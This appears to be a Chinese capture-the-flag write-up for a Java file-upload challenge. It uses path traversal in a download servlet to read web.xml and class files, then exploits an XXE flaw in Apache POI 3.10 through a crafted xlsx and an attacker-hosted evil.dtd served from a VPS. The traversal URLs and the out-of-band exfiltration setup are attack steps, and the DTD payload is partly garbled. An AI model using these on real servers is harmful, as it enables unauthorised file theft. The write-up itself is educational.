[网鼎杯 2020 青龙组]filejava


查看功能

打开为上传文件

上传一个正常图片

点击下载,查看请求

访问/DownloadServlet?filename=../../../WEB-INF/web.xml,发现存在任意文件下载

web.xml内容

<?xml version="1.0" encoding="UTF-8"?>

    
        DownloadServlet
        cn.abc.servlet.DownloadServlet
    

    
        DownloadServlet
        /DownloadServlet
    

    
        ListFileServlet
        cn.abc.servlet.ListFileServlet
    

    
        ListFileServlet
        /ListFileServlet
    

    
        UploadServlet
        cn.abc.servlet.UploadServlet
    

    
        UploadServlet
        /UploadServlet
    

根据web.xml包含的路径信息获取class文件

/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

源码

使用JD-GUI反编译class文件

UploadServlet.class

import cn.abc.servlet.UploadServlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
  private static final long serialVersionUID = 1L;
  
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    doPost(request, response);
  }
  
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String savePath = getServletContext().getRealPath("/WEB-INF/upload");
    String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
    File tempFile = new File(tempPath);
    if (!tempFile.exists())
      tempFile.mkdir(); 
    String message = "";
    try {
      DiskFileItemFactory factory = new DiskFileItemFactory();
      factory.setSizeThreshold(102400);
      factory.setRepository(tempFile);
      ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
      upload.setHeaderEncoding("UTF-8");
      upload.setFileSizeMax(1048576L);
      upload.setSizeMax(10485760L);
      if (!ServletFileUpload.isMultipartContent(request))	//判断是否是文件上传请求
        return; 
      List list = upload.parseRequest(request);
      for (FileItem fileItem : list) {
        if (fileItem.isFormField()) {
          String name = fileItem.getFieldName();
          String str = fileItem.getString("UTF-8");
          continue;
        } 
        String filename = fileItem.getName();
        if (filename == null || filename.trim().equals(""))
          continue; 
        String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
        InputStream in = fileItem.getInputStream();
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
          try {
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);		//获取excel第一个sheet
            System.out.println(sheet.getFirstRowNum());	//打印第一个实际行的下标
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          }  
        String saveFilename = makeFileName(filename);
        request.setAttribute("saveFilename", saveFilename);
        request.setAttribute("filename", filename);
        String realSavePath = makePath(saveFilename, savePath);
        FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
        byte[] buffer = new byte[1024];
        int len = 0;
        while ((len = in.read(buffer)) > 0)
          out.write(buffer, 0, len); 
        in.close();
        out.close();
        message = ";
      } 
    } catch (FileUploadException e) {
      e.printStackTrace();
    } 
    request.setAttribute("message", message);
    request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response);
  }
  
  private String makeFileName(String filename) {
    return UUID.randomUUID().toString() + "_" + filename;
  }
  
  private String makePath(String filename, String savePath) {
    int hashCode = filename.hashCode();
    int dir1 = hashCode & 0xF;
    int dir2 = (hashCode & 0xF0) >> 4;
    String dir = savePath + "/" + dir1 + "/" + dir2;
    File file = new File(dir);
    if (!file.exists())
      file.mkdirs(); 
    return dir;
  }
}

漏洞利用

在UploadServlet中,使用poi3.10对xlsx文件进行解析,该版本poi存在XXE。当上传文件以execel-开头,并且是xlsx后缀时,使用poi解析xlsx文件并打印第一个sheet的第一个有效行行号。

Apache POI XML外部实体(XML External Entity,XXE)

漏洞编号:CVE-2014-3529

影响范围:poi-ooxml-3.10-FINAL.jar及以下版本

漏洞利用参考链接:https://www.jianshu.com/p/73cd11d83c30

创建excel-test.xlsx,用7z打开,修改[Content_Types].xml,添加如下内容,并保存

evil.dtd


">

在vps使用python开启80端口的http server

python3 -m http.server 80

上传excel-test.xlsx,查看vps命令行

相关